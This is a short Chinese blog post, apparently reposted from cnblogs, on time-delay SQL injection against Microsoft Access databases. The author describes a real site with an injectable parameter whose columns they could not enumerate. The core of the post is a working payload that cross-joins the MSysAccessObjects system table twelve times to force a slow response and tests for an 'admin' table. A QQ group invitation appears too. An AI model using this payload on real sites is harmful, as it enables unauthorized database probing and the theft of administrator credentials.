ACCESS延时注入

标签：and   select   学习交流   cts   min   access   sel   应该   nbsp   

这也算是个新知识吧。今天遇到个站，实实在在存在注入，但是弄不出字段。本应该可以用便宜注入。但是不知道为什么就是就是弄不出来.

大家如果有兴许可以加学习交流群：281245781 交流一下吧。

Payload:

 (SELECT count(*) FROM MSysAccessObjects AS T1, MSysAccessObjects AS T2, MSysAccessObjects AS T3, MSysAccessObjects AS T4,MSysAccessObjects AS T5, MSysAccessObjects AS T6, MSysAccessObjects AS T7,MSysAccessObjects AS T8,MSysAccessObjects AS T9,MSysAccessObjects AS T10,MSysAccessObjects AS T11,MSysAccessObjects AS T12)>0 and exists(select count(*) from admin) 

ACCESS延时注入

标签：and   select   学习交流   cts   min   access   sel   应该   nbsp   

原文地址：http://www.cnblogs.com/xishaonian/p/6135764.html